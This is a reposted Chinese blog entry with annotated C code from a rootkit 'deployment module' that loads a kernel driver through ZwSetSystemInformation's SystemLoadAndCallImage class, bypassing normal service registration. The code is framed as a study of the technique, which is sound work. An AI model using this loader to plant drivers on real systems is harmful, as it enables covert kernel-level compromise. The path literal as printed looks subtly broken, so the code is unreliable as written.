ZwSetSystemInformation 动态加载驱动(转)
来源:http://blog.csdn.net/xuplus/archive/2008/04/22/2316091.aspx
////////////////////////////////////////
// New Deployment Module for rootkit 040
// -------------------------------------
// -Greg Hoglund http://www.rootkit.com/
////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS,
//否则一个unsigned的值总是不小于0,下面这个宏就会出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
//
// NTSTATUS (__stdcall *ZwSetSystemInformation)(
// IN DWORD SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength
//);
/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000
//Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//参数:
// SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个
// 子集,SystemLoadAndCallImage就是其中一个:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class 38
// UNICODE_STRING ModuleName;
// }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
// 成员:
// Module:要加载模块的NATIVE NT格式的完整路径
//
// 备注:
// 这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载
到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参
数的__stdcall例程(与设备驱动程序的 // DriverEntry例程一致)。如果入
口点例程返回一个失败代码,则卸载模块。
//
// SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
// SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
// SystemInformationClass来设置它
//
*/
typedef VOID (__stdcall *tagRtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef unsigned long (__stdcall * tagZwSetSystemInformation)(
IN ULONG,
IN OUT LPVOID,
IN ULONG
);
tagRtlInitUnicodeString RtlInitUnicodeString = NULL;
tagZwSetSystemInformation ZwSetSystemInformation = NULL;
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
#define SystemLoadAndCallImage 38
void main(void)
{
///////////////////////////////////////////////////////////////
// Why mess with Drivers?
///////////////////////////////////////////////////////////////
SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[] = L"\??\d:\samplehello.sys";
//////////////////////////////////////////////////////////////
// get DLL entry points
//////////////////////////////////////////////////////////////
if( !(RtlInitUnicodeString =
(tagRtlInitUnicodeString) GetProcAddress( GetModuleHandle("ntdll.dll"),
"RtlInitUnicodeString" )) ) //在ntdll.dll中获取RtlInitUnicodeString地址
exit(1);
if( !(ZwSetSystemInformation =
(tagZwSetSystemInformation) GetProcAddress( GetModuleHandle("ntdll.dll"),
"ZwSetSystemInformation" )) ) //在ntdll.dll中获取ZwSetSystemInformation地址
exit(1);
RtlInitUnicodeString( &(GregsImage.ModuleName), daPath ); //建立设备
if( NT_SUCCESS( ZwSetSystemInformation( SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) //加载进内核空间
{
printf("Rootkit Loaded. ");
}
else
{
printf("Rootkit not loaded. ");
}
}
======使用此方法加载驱动的一些问题==